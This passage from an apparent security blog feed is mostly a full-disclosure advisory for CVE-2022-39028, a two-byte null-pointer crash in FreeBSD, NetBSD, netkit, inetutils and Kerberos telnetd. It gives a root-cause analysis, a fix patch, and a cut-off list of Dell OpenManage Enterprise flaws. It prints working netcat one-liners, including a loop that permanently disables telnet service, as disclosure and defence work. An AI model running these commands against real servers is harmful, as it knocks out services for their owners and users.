pid 319 (telnetd), uid 0: exited on signal 11 (core dumped)
</code></pre>
<p><br>
We succesfully compiled <a href="https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd">https://github.com/krb5/krb5-appl/blob/f8420ba3e60160da670f4f9a5b9f5429f67cd174/telnet/telnetd</a> in FreeBSD 3.2.</p>
<p>Here is the <code>diff</code> to compile the initial version of the Telnetd in Kerberos Version 5 Applications, from the branch <code>f8420ba3e6</code> (<code>initial version</code>) under FreeBSD 3.2 (the preprocessor variables <code>-DAUTHENTICATION</code> and <code>-DENCRYPTION</code> have been removed but the vulnerable code path is still reachable):</p>
<pre><code>myname# diff -r krb5-appl krb5-appl.patched
diff -r krb5-appl/telnet/telnetd/Makefile.4.4 krb5-appl.patched/telnet/telnetd/Makefile.4.4
24c24
&lt; CFLAGS+=-DAUTHENTICATION -DENCRYPTION -I${.CURDIR}/../../lib
---
&gt; CFLAGS+=-I${.CURDIR}/../../lib
diff -r krb5-appl/telnet/telnetd/telnetd.c krb5-appl.patched/telnet/telnetd/telnetd.c
1005c1005
&lt;           char *getstr();
---
&gt;           char *Getstr();
1008,1010c1008,1010
&lt;           HE = getstr("he", &amp;cp);
&lt;           HN = getstr("hn", &amp;cp);
&lt;           IM = getstr("im", &amp;cp);
---
&gt;           HE = Getstr("he", &amp;cp);
&gt;           HN = Getstr("hn", &amp;cp);
&gt;           IM = Getstr("im", &amp;cp);
diff -r krb5-appl/telnet/telnetd/telnetd.h krb5-appl.patched/telnet/telnetd/telnetd.h
49a50,52
&gt; #define TELOPT_ENVIRON 36
&gt; #define ENV_VALUE 0
&gt; #define ENV_VAR 1
myname#
</code></pre>
<p>Compiling and installing this telnetd program:</p>
<pre><code>myname# make -f Makefile.4.4
Warning: Object directory not changed from original /usr/home/test/krb5-appl.patched/telnet/telnetd
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../lib   -c authenc.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../lib   -c global.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../lib   -c slc.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../lib   -c state.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../lib   -c sys_term.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../lib   -c telnetd.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../lib   -c termstat.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../lib   -c utility.c
cc -O -pipe -DLINEMODE -DKLUDGELINEMODE -DUSE_TERMIO -DDIAGNOSTICS -I/usr/home/test/krb5-appl.patched/telnet/telnetd/../../lib    -o telnetd authenc.o global.o slc.o state.o sys_term.o telnetd.o termstat.o utility.o  -lutil -ltermcap -ltelnet -lkrb -ldes
gzip -cn telnetd.0 &gt; telnetd.0.gz
myname# cp telnetd /usr/libexec/telnetd &amp;&amp; chmod 555 /usr/libexec/telnetd
</code></pre>
<p>And we can confirm this version is vulnerable.</p>
<pre><code>kali% printf "\xff\xf7" | nc -n -v 192.168.1.201 23
(UNKNOWN) [192.168.1.201] 23 (telnet) open
&lt;BF&gt;&lt;C3&gt;&lt;BD&gt;&lt;C3&gt;&lt;BF&gt;&lt;C3&gt;&lt;BD&gt;&lt;C3&gt;&lt;BF&gt;&lt;C3&gt;&lt;BD&gt;
kali%
</code></pre>
<p>Using <code>dmesg</code>, we can see the crashes of telnetd on the remote FreeBSD 3.2 server:</p>
<pre><code>myname# dmesg | grep telnet
pid 497 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 499 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 500 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 501 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 502 (telnetd), uid 0: exited on signal 11 (core dumped)
pid 503 (telnetd), uid 0: exited on signal 11 (core dumped)
</code></pre>
<p>We also provide a working patch for Telnetd, Kerberos Version 5 Applications - <code>initial version</code>. This patch has been tested with FreeBSD 3.2/i386.</p>
<p>Please note that we suggest not to use FreeBSD 3.2 or the 30-year old version of the Kerberos Version 5 Applications.</p>
<pre><code>myname# diff -u -p krb5-appl/telnet/telnetd/state.c krb5-appl.patched/telnet/telnetd/state.c
--- krb5-appl/telnet/telnetd/state.c        Sun Aug 21 09:00:34 2022
+++ krb5-appl.patched/telnet/telnetd/state.c        Mon Aug 21 09:02:56 2022
@@ -208,16 +208,22 @@ gotiac:                       switch (c) {
                    case EC:
                    case EL:
                        {
-                           cc_t ch;
+                           cc_t ch = (cc_t)_POSIX_VDISABLE;

                            DIAG(TD_OPTIONS,
                                    printoption("td: recv IAC", c));
                            ptyflush();     /* half-hearted */
                            init_termbuf();
                            if (c == EC)
-                                   ch = *slctab[SLC_EC].sptr;
+                           {
+                                   if (slctab[SLC_EC].sptr)
+                                           ch = *slctab[SLC_EC].sptr;
+                           }
                            else
-                                   ch = *slctab[SLC_EL].sptr;
+                           {
+                                   if (slctab[SLC_EL].sptr)
+                                           ch = *slctab[SLC_EL].sptr;
+                           }
                            if (ch != (cc_t)(_POSIX_VDISABLE))
                                    *pfrontp++ = (unsigned char)ch;
                            break;
</code></pre>
<p><a id="remote-dos-analysis"></a></p>
<h3>Analysis of the "normal" execution path</h3>
<p>In this section, we used the sources found in FreeBSD 13.1 but the root cause is similar with any previously listed <code>telnetd</code>.</p>
<p>When reviewing the code, the "normal" execution flow to correctly initialize the <code>slctab[31]</code> array is:</p>
<pre><code>main() -&gt; doit() -&gt; telnet() -&gt; get_slc_defaults()
</code></pre>
<p>In the <code>telnet()</code> function, there is a call to <code>get_slc_defaults()</code> on line 747:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">723</span> <span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">724  * Main loop.  Select from pty and network, and</span>
<span style="color: #408080; font-style: italic">725  * hand data to telnet receiver finite state machine.</span>
<span style="color: #408080; font-style: italic">726  */</span>
<span style="color: #666666">727</span> <span style="color: #B00040">void</span>
<span style="color: #666666">728</span> telnet(<span style="color: #B00040">int</span> f, <span style="color: #B00040">int</span> p, <span style="color: #B00040">char</span> <span style="color: #666666">*</span>host)
<span style="color: #666666">729</span> {
...
<span style="color: #666666">743</span>
<span style="color: #666666">744</span>         <span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">745          * Initialize the slc mapping table.</span>
<span style="color: #408080; font-style: italic">746          */</span>
<span style="color: #666666">747</span>         get_slc_defaults();
...
<span style="color: #666666">797</span>         <span style="color: #008000; font-weight: bold">while</span> (his_will_wont_is_changing(TELOPT_NAWS))
<span style="color: #666666">798</span>                 ttloop();
...
<span style="color: #666666">811</span>         <span style="color: #008000; font-weight: bold">if</span> (his_want_state_is_will(TELOPT_ECHO) <span style="color: #666666">&amp;&amp;</span>
<span style="color: #666666">812</span>             his_state_is_will(TELOPT_NAWS)) {
<span style="color: #666666">813</span>                 <span style="color: #008000; font-weight: bold">while</span> (his_will_wont_is_changing(TELOPT_ECHO))
<span style="color: #666666">814</span>                         ttloop();
</pre></div>

<p>After <code>get_slc_defaults()</code>, there are multiple calls to the <code>ttloop()</code> function (lines 798 and 814). This is the normal behavior.</p>
<p>The function <code>get_slc_defaults()</code> defined in <code>slc.c</code> is used to correctly initialize the <code>slctab[31]</code> array.</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">99</span> <span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">100  * get_slc_defaults</span>
<span style="color: #408080; font-style: italic">101  *</span>
<span style="color: #408080; font-style: italic">102  * Initialize the slc mapping table.</span>
<span style="color: #408080; font-style: italic">103  */</span>
<span style="color: #666666">104</span> <span style="color: #B00040">void</span>
<span style="color: #666666">105</span> get_slc_defaults(<span style="color: #B00040">void</span>)
<span style="color: #666666">106</span> {
<span style="color: #666666">107</span>         <span style="color: #B00040">int</span> i;
<span style="color: #666666">108</span> 
<span style="color: #666666">109</span>         <span style="color: #0000FF">init_termbuf</span>();
<span style="color: #666666">110</span> 
<span style="color: #666666">111</span>         <span style="color: #008000; font-weight: bold">for</span> (i <span style="color: #666666">=</span> <span style="color: #666666">1</span>; i <span style="color: #666666">&lt;=</span> NSLC; i<span style="color: #666666">++</span>) {
<span style="color: #666666">112</span>                 slctab[i].defset.flag <span style="color: #666666">=</span>
<span style="color: #666666">113</span>                         spcset(i, <span style="color: #666666">&amp;</span>slctab[i].defset.val, <span style="color: #666666">&amp;</span>slctab[i].sptr);
<span style="color: #666666">114</span>                 slctab[i].current.flag <span style="color: #666666">=</span> SLC_NOSUPPORT;
<span style="color: #666666">115</span>                 slctab[i].current.val <span style="color: #666666">=</span> <span style="color: #666666">0</span>;
<span style="color: #666666">116</span>         }
<span style="color: #666666">117</span> 
<span style="color: #666666">118</span> }  <span style="color: #408080; font-style: italic">/* end of get_slc_defaults */</span>
</pre></div>

<p>Interestingly, the initialization starts from 1.</p>
<p><code>NSLC</code> is defined in <code>../arpa/telnet.h</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>    <span style="color: #666666">216</span> <span style="border: 1px solid #FF0000">#</span>define NSLC            <span style="color: #666666">30</span>
</pre></div>

<p>You can review the <code>spcset()</code> <a href="https://github.com/freebsd/freebsd-src/blob/main/contrib/telnet/telnetd/sys_term.c#L285">function here</a>.</p>
<p>The <code>slctab</code> global variable, an array of 31 <code>slcfun</code> structures, is defined in the <code>ext.h</code> file:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>     <span style="color: #666666">63</span> EXTERN slcfun   slctab[NSLC <span style="color: #666666">+</span> <span style="color: #666666">1</span>];       <span style="color: #408080; font-style: italic">/* slc mapping table */</span>
</pre></div>

<p>And the <code>slcfun</code> structure is defined in the <code>defs.h</code> file:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">99</span> <span style="border: 1px solid #FF0000">#</span><span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">!</span>defined(USE_TERMIO) <span style="color: #666666">||</span> defined(NO_CC_T)
<span style="color: #666666">100</span> <span style="color: #008000; font-weight: bold">typedef</span> <span style="color: #B00040">unsigned</span> <span style="color: #B00040">char</span> cc_t;
<span style="color: #666666">101</span> <span style="border: 1px solid #FF0000">#</span>endif
...
<span style="color: #666666">152</span> <span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">153  * Structures of information for each special character function.</span>
<span style="color: #408080; font-style: italic">154  */</span>
<span style="color: #666666">155</span> <span style="color: #008000; font-weight: bold">typedef</span> <span style="color: #008000; font-weight: bold">struct</span> {
<span style="color: #666666">156</span>         <span style="color: #B00040">unsigned</span> <span style="color: #B00040">char</span>   flag;           <span style="color: #408080; font-style: italic">/* the flags for this function */</span>
<span style="color: #666666">157</span>         cc_t            val;            <span style="color: #408080; font-style: italic">/* the value of the special character */</span>
<span style="color: #666666">158</span> } slcent, <span style="color: #666666">*</span>Slcent;
<span style="color: #666666">159</span>
<span style="color: #666666">160</span> <span style="color: #008000; font-weight: bold">typedef</span> <span style="color: #008000; font-weight: bold">struct</span> {
<span style="color: #666666">161</span>         slcent          defset;         <span style="color: #408080; font-style: italic">/* the default settings */</span>
<span style="color: #666666">162</span>         slcent          current;        <span style="color: #408080; font-style: italic">/* the current settings */</span>
<span style="color: #666666">163</span>         cc_t            <span style="color: #666666">*</span>sptr;          <span style="color: #408080; font-style: italic">/* a pointer to the char in */</span>
<span style="color: #666666">164</span>                                         <span style="color: #408080; font-style: italic">/* system data structures */</span>
<span style="color: #666666">165</span> } slcfun, <span style="color: #666666">*</span>Slcfun;
</pre></div>

<p>Because <code>slctab</code> is a global variable, all its fields are initialized to <code>0</code> by default.</p>
<p>Using <code>readelf</code>, we can confirm <code>slctab</code> is a global variable:</p>
<pre><code>root@freebsd-13-1p1:~ # readelf -a /usr/libexec/telnetd
Symbol table (.symtab) contains 616 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
...
   187: 0000000000022730   496 OBJECT  GLOBAL DEFAULT   27 slctab
</code></pre>
<p><a id="remote-dos-root-cause-analysis"></a></p>
<h2>Root cause analysis of the crashes</h2>
<p>When reviewing the code, the execution flow leading to segfaults is:</p>
<pre><code>main() -&gt; doit() -&gt; getterminaltype() -&gt; ttloop() -&gt; telrcv() -&gt; Access to *(slctab[10].sptr) or *(slctab[11].sptr).
</code></pre>
<p>In the <code>doit()</code> function, there is a call to <code>getterminaltype()</code> on line 715 and then to <code>telnet()</code> on line 718:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>    <span style="color: #666666">652</span> <span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">    653  * Get a pty, scan input lines.</span>
<span style="color: #408080; font-style: italic">    654  */</span>
    <span style="color: #666666">655</span> <span style="color: #B00040">void</span>
    <span style="color: #666666">656</span> doit(<span style="color: #008000; font-weight: bold">struct</span> sockaddr <span style="color: #666666">*</span>who)
    <span style="color: #666666">657</span> {
...
    <span style="color: #666666">715</span>         level <span style="color: #666666">=</span> getterminaltype(user_name);
...
    <span style="color: #666666">718</span>         telnet(net, pty, remote_hostname);      <span style="color: #408080; font-style: italic">/* begin server process */</span>
</pre></div>

<p>Analyzing <code>getterminaltype()</code> reveals that there are multiple calls to the <code>ttloop()</code> function (on line 481 when compiled with <code>-DAUTHENTICATION</code> and on line 505 by default):</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">468</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #B00040">int</span>
<span style="color: #666666">469</span> <span style="color: #0000FF">getterminaltype</span>(<span style="color: #B00040">char</span> <span style="color: #666666">*</span>name undef2)
<span style="color: #666666">470</span> {
...
<span style="color: #666666">474</span> <span style="border: 1px solid #FF0000">#</span>ifdef  AUTHENTICATION
...
<span style="color: #666666">481</span>             ttloop();
...
<span style="color: #666666">486</span> <span style="border: 1px solid #FF0000">#</span>endif
...
<span style="color: #666666">496</span>     <span style="color: #008000; font-weight: bold">while</span> (
<span style="color: #666666">497</span> <span style="border: 1px solid #FF0000">#</span>ifdef  ENCRYPTION
<span style="color: #666666">498</span>            his_do_dont_is_changing(TELOPT_ENCRYPT) <span style="color: #666666">||</span>
<span style="color: #666666">499</span> <span style="border: 1px solid #FF0000">#</span>endif  <span style="color: #408080; font-style: italic">/* ENCRYPTION */</span>
<span style="color: #666666">500</span>            his_will_wont_is_changing(TELOPT_TTYPE) <span style="color: #666666">||</span>
<span style="color: #666666">501</span>            his_will_wont_is_changing(TELOPT_TSPEED) <span style="color: #666666">||</span>
<span style="color: #666666">502</span>            his_will_wont_is_changing(TELOPT_XDISPLOC) <span style="color: #666666">||</span>
<span style="color: #666666">503</span>            his_will_wont_is_changing(TELOPT_NEW_ENVIRON) <span style="color: #666666">||</span>
<span style="color: #666666">504</span>            his_will_wont_is_changing(TELOPT_OLD_ENVIRON)) {
<span style="color: #666666">505</span>         ttloop();
<span style="color: #666666">506</span>     }
</pre></div>

<p>The <code>ttloop()</code> function will then call <code>telrcv()</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">66</span>     <span style="color: #B00040">void</span>
<span style="color: #666666">67</span> <span style="color: #0000FF">ttloop</span>()
<span style="color: #666666">68</span> {
...
<span style="color: #666666">69</span>
<span style="color: #666666">74</span>     ncc <span style="color: #666666">=</span> read(net, netibuf, <span style="color: #008000; font-weight: bold">sizeof</span> netibuf);
...
<span style="color: #666666">84</span>     telrcv();                   <span style="color: #408080; font-style: italic">/* state machine */</span>
<span style="color: #666666">85</span>     <span style="color: #008000; font-weight: bold">if</span> (ncc <span style="color: #666666">&gt;</span> <span style="color: #666666">0</span>) {
<span style="color: #666666">86</span>         pfrontp <span style="color: #666666">=</span> pbackp <span style="color: #666666">=</span> ptyobuf;
<span style="color: #666666">87</span>         telrcv();
<span style="color: #666666">88</span>     }
<span style="color: #666666">89</span> }  <span style="color: #408080; font-style: italic">/* end of ttloop */</span>
</pre></div>

<p>At this moment, the function <code>get_slc_defaults()</code> has still not been executed to correctly initialize the <code>slctab[31]</code> array.
All the fields in the <code>slctab[31]</code> array are still set to <code>0</code>.</p>
<p>Then in the <code>telrcv()</code> function, when an attacker sends <code>\xff\xf7</code> or <code>\xff\xf8</code>, the code will try to access <code>*(slctab[10].sptr)</code> (<code>*(0)</code>) or <code>*(slctab[11].sptr)</code> (<code>*(0)</code>), we have null pointer dereferences!</p>
<p><a id="remote-dos-macos"></a></p>
<h3>MacOS</h3>
<p>We also found the vulnerable function in MacOS source codes at <a href="https://opensource.apple.com/source/KerberosLibraries/KerberosLibraries-81.46.1/KerberosFramework/Kerberos5/Sources/appl/telnet/telnetd/state.c">https://opensource.apple.com/source/KerberosLibraries/KerberosLibraries-81.46.1/KerberosFramework/Kerberos5/Sources/appl/telnet/telnetd/state.c</a>, but macOS does not appear to provide a telnetd binary so we can assume it is not affected.</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">98</span>         <span style="color: #B00040">void</span>
 <span style="color: #666666">99</span> <span style="color: #0000FF">telrcv</span>()
<span style="color: #666666">100</span> {
<span style="color: #666666">101</span>         <span style="color: #008000; font-weight: bold">register</span> <span style="color: #B00040">int</span> c;
<span style="color: #666666">102</span>         <span style="color: #008000; font-weight: bold">static</span> <span style="color: #B00040">int</span> state <span style="color: #666666">=</span> TS_DATA;
<span style="color: #666666">103</span> <span style="border: 1px solid #FF0000">#</span><span style="color: #008000; font-weight: bold">if</span>     defined(CRAY2) <span style="color: #666666">&amp;&amp;</span> defined(UNICOS5)
<span style="color: #666666">104</span>         <span style="color: #B00040">char</span> <span style="color: #666666">*</span>opfrontp <span style="color: #666666">=</span> pfrontp;
<span style="color: #666666">105</span> <span style="border: 1px solid #FF0000">#</span>endif
...
<span style="color: #666666">107</span>         <span style="color: #008000; font-weight: bold">while</span> (ncc <span style="color: #666666">&gt;</span> <span style="color: #666666">0</span>) {
<span style="color: #666666">108</span>                 <span style="color: #008000; font-weight: bold">if</span> ((<span style="color: #666666">&amp;</span>ptyobuf[BUFSIZ] <span style="color: #666666">-</span> pfrontp) <span style="color: #666666">&lt;</span> <span style="color: #666666">1</span>)
<span style="color: #666666">109</span>                         <span style="color: #008000; font-weight: bold">break</span>;
<span style="color: #666666">110</span>                 c <span style="color: #666666">=</span> <span style="color: #666666">*</span>netip<span style="color: #666666">++</span> <span style="color: #666666">&amp;</span> <span style="color: #666666">0377</span>, ncc<span style="color: #666666">--</span>;
...
<span style="color: #666666">115</span>                 <span style="color: #008000; font-weight: bold">switch</span> (state) {
...
<span style="color: #666666">125</span>                 <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">TS_DATA</span>:
<span style="color: #666666">126</span>                         <span style="color: #008000; font-weight: bold">if</span> (c <span style="color: #666666">==</span> IAC) {
<span style="color: #666666">127</span>                                 state <span style="color: #666666">=</span> TS_IAC;
<span style="color: #666666">128</span>                                 <span style="color: #008000; font-weight: bold">break</span>;
<span style="color: #666666">129</span>                         }
...
<span style="color: #666666">169</span>                 <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">TS_IAC</span>:
<span style="color: #666666">170</span> <span style="color: #A0A000">gotiac</span>:                 <span style="color: #008000; font-weight: bold">switch</span> (c) {
...
<span style="color: #666666">221</span>                         <span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">222                          * Erase Character and</span>
<span style="color: #408080; font-style: italic">223                          * Erase Line</span>
<span style="color: #408080; font-style: italic">224                          */</span>
<span style="color: #666666">225</span>                         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EC</span>:
<span style="color: #666666">226</span>                         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #A0A000">EL</span>:
<span style="color: #666666">227</span>                             {
<span style="color: #666666">228</span>                                 cc_t ch;
<span style="color: #666666">229</span> 
<span style="color: #666666">230</span>                                 DIAG(TD_OPTIONS,
<span style="color: #666666">231</span>                                         printoption(<span style="color: #BA2121">&quot;td: recv IAC&quot;</span>, c));
<span style="color: #666666">232</span>                                 ptyflush();     <span style="color: #408080; font-style: italic">/* half-hearted */</span>
<span style="color: #666666">233</span>                                 init_termbuf();
<span style="color: #666666">234</span>                                 <span style="color: #008000; font-weight: bold">if</span> (c <span style="color: #666666">==</span> EC)
<span style="color: #666666">235</span>                                         ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EC].sptr; <span style="color: #408080; font-style: italic">// vuln</span>
<span style="color: #666666">236</span>                                 <span style="color: #008000; font-weight: bold">else</span>
<span style="color: #666666">237</span>                                         ch <span style="color: #666666">=</span> <span style="color: #666666">*</span>slctab[SLC_EL].sptr; <span style="color: #408080; font-style: italic">// vuln</span>
<span style="color: #666666">238</span>                                 <span style="color: #008000; font-weight: bold">if</span> (ch <span style="color: #666666">!=</span> (cc_t)(_POSIX_VDISABLE))
<span style="color: #666666">239</span>                                         <span style="color: #666666">*</span>pfrontp<span style="color: #666666">++</span> <span style="color: #666666">=</span> (<span style="color: #B00040">unsigned</span> <span style="color: #B00040">char</span>)ch;
<span style="color: #666666">240</span>                                 <span style="color: #008000; font-weight: bold">break</span>;
<span style="color: #666666">241</span>                             }
</pre></div>

<p><a id="remote-dos-conclusion"></a></p>
<h3>Conclusion</h3>
<p>There is a vulnerable code path reachable from the network allowing an attacker to force the server using variables before they are correctly initialized, resulting in 2 null pointer dereferences.</p>
<p>From our tests, it was determined these 2 vulnerabilities affect:</p>
<ul>
<li>FreeBSD-telnetd</li>
<li>NetBSD-telnetd</li>
<li>inetutils-telnetd</li>
<li>netkit-telnetd</li>
<li>Telnetd in Kerberos Version 5 Applications - since the initial version (February 22, 1991 or 1/21/93)</li>
<li>specific Palo Alto appliances (using netkit-telnetd)</li>
<li>specific Cisco appliances (using netkit-telnetd)</li>
<li>specific Brocade appliances (using netkit-telnetd)</li>
<li>specific Arista appliances (using netkit-telnetd)</li>
<li>...</li>
</ul>
<p>These vulnerabilities existed for =~ 30 years.</p>
<p>To check if a remote telnet server is vulnerable, it is possible to send 2 bytes over the network and check if the remote server closes the TCP connection.</p>
<p>A disconnection means the remote <code>telnetd</code> processus likely crashed.</p>
<p><a id="permanent-remote-dos"></a></p>
<h2>Details - permanent Remote DoS</h2>
<p>Since <code>telnetd</code> is started with <code>inetd</code>, a new <code>telnetd</code> process will be spawned for each new tcp connection.</p>
<p>So an attacker can crash 256 <code>telnetd</code> processes very quickly and then <code>inetd</code> will stop spawning new telnetd processes. This DoS takes 4 seconds on a recent machine. This test was done under FreeBSD:</p>
<pre><code>kali% i=0; while true; do echo $i; printf "\xff\xf7" | nc -n -v 192.168.1.200 23 &gt;/dev/null; i=$((${i}+1));done
0
(UNKNOWN) [192.168.1.200] 23 (telnet) open
1
(UNKNOWN) [192.168.1.200] 23 (telnet) open
2
...
(UNKNOWN) [192.168.1.200] 23 (telnet) open
256
(UNKNOWN) [192.168.1.200] 23 (telnet) : Connection refused
257
(UNKNOWN) [192.168.1.200] 23 (telnet) : Connection refused
...
</code></pre>
<p>And in the logs, we can confirm the telnetd server will not be spawned anymore by inetd:</p>
<pre><code>Aug 21 12:01:40 freebsd-13-1p1 inetd[6550]: telnet/tcp server failing (looping), service terminated
</code></pre>
<p><a id="full-disclosure"></a></p>
<h2>Vendor Response</h2>
<p>Reaching and coordinating with all the vendors and software maintainers will take too much time and effort.</p>
<p>Full-disclosure is applied.</p>
<p><a id="recommendations"></a></p>
<h2>Recommendations</h2>
<p>It is 2022. Do not use telnet. Seriously!</p>
<p><a id="bggp3-score"></a></p>
<h2>BGGP #3 Score</h2>
<p>Rules of BGGP #3 are available at <a href="https://tmpout.sh/bggp/3/">https://tmpout.sh/bggp/3/</a>.</p>
<p>Calculation of the score:</p>
<pre><code>  4096 pts
 -   2 pts (size of file or payload)
 +1024 pts, if you submit a writeup about your process and details about the crash
(+4096 pts, if you author a patch for your bug which is merged before the end of the competition)
------
  9214 pts if patches are deployed.
</code></pre>
<p>There are other bonus that we cannot obtain with these vulnerabilities:</p>
<pre><code> +1024 pts, if the program counter is all 3's when the program crashes
 +2048 pts, if you hijack execution and print or return "3"
</code></pre>
<p>We cannot hijack the execution flow but we can print "3" for fun over the telnet connection.</p>
<p>We can use RFC 857 (telnet echo) with <code>IAC WILL ECHO</code> (<code>255 251 1</code>) or <code>IAC DO ECHO</code> (<code>255 253 1</code>) and then crash the remote server.</p>
<p>But we found a smaller payload by sending <code>255 251 3</code> (this will print "3") and then <code>255 247</code> (DoS):</p>
<pre><code>kali% (printf "\xff\xfb3"; sleep 1; printf "\xff\xf7") | nc -v -n 192.168.1.200 23
(UNKNOWN) [192.168.1.200] 23 (telnet) open
&lt;FF&gt;&lt;FD&gt;%&lt;FF&gt;&lt;FE&gt;3
</code></pre>
<p><a id="credits"></a></p>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>) and Alexandre Torres (<a href="https://twitter.com/AlexTorSec">@AlexTorSec</a>).</p>
<p><a id="references"></a></p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/blog/2022-08-24-2-byte-dos-freebsd-netbsd-telnetd-netkit-telnetd-inetutils-telnetd-kerberos-telnetd.html">https://pierrekim.github.io/blog/2022-08-24-2-byte-dos-freebsd-netbsd-telnetd-netkit-telnetd-inetutils-telnetd-kerberos-telnetd.html</a></p>
<p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39028">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39028</a></p>
<p><a id="disclaimer"></a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a>.</p></content>
    </entry>
    
    <entry>
        <title>Multiple vulnerabilities in Dell OpenManage Enterprise</title>
        <link href="2021-07-19-dell-openmanage-enterprise-0day-vulnerabilities.html"/>
        <content type="html"><h2>Product description</h2>
<p>Dell EMC OpenManage Enterprise is an intuitive infrastructure management console.</p>
<p>OpenManage Enterprise is a system management and monitoring application that provides a comprehensive view of the Dell EMC servers, chassis, storage, and network switches on the enterprise network.</p>
<p>From <a href="https://www.dell.com/support/kbdoc/en-sg/000175879/support-for-openmanage-enterprise">https://www.dell.com/support/kbdoc/en-sg/000175879/support-for-openmanage-enterprise</a>:</p>
<blockquote>
<p>Secure: Security is a top priority</p>
</blockquote>
<h2>Vulnerabilities Summary</h2>
<p>Vulnerable versions: all versions up to 3.6.1</p>
<p>The summary of the vulnerabilities is:</p>
<ol>
<li><a href="#hardcoded-activemq-credentials">Hardcoded ActiveMQ credentials</a></li>
<li><a href="#hardcoded-activemq-credentials-for-jmx">Hardcoded ActiveMQ credentials for JMX</a></li>
<li><a href="#hardcoded-activemq-keystore">Hardcoded ActiveMQ keystore</a></li>
<li><a href="#hardcoded-jdbc-passwords">Hardcoded JDBC Passwords</a></li>
<li><a href="#hardcoded-passwords-core_admin-replicator">Hardcoded passwords for core_admin and replicator</a></li>
<li><a href="#keystore-hardcoded-key">KeyStore using hardcoded Key</a></li>
<li><a href="#permissive-acl-postgres">Permissive ACL for Postgres</a></li>
<li><a href="#lpe-postgres">Local Privilege Escalation (as postgres) inside postgres docker</a></li>
<li><a href="#remote-auth-bypass-with-2-pre-auth-rces-docker-instances">Remote Auth Bypass with 2 pre-auth RCEs in docker instances - CVE-2021-21596</a></li>
<li><a href="#undocumented-system-account">Undocumented <code>system</code> account</a></li>
<li><a href="#database-key-stored-db">Database key stored in the database</a></li>
<li><a href="#weak-permission-tls-key">Weak permission on SSL/TLS Key</a></li>
<li><a href="#lpe-mcsimetricssvc">Multiple Local Privilege Escalations from <code>mcsimetricssvc</code> - partially silently patched in version 3.6.1</a></li>
<li><a href="#lpe-mcsitasksvc">Multiple Local Privilege Escalations from group <code>mcsitasksvc</code></a></li>
<li><a href="#lpe-tomcat">Multiple Local Privilege Escalations from group <code>tomcat</code></a></li>
<li><a href="#lpe-omctui">Local Privilege Escalation from group <code>omctui</code></a></li>
<li><a href="#toctou-security_tool.sh">Multiple TOCTOUs in "security_tool.sh" shell script</a></li>
<li><a href="#tomcat-shadow-access">Incorrect access for tomcat</a></li>
<li><a href="#grub-password-db-no-auth">Grub password stored in postgres, without authentication for local user</a></li>
<li><a href="#pre-auth-post-auth-java-deserializations">Pre-auth and post-auth Java Deserializations - silently patched in version 3.6.1</a></li>
<li><a href="#idrac-user">Idrac User</a></li>
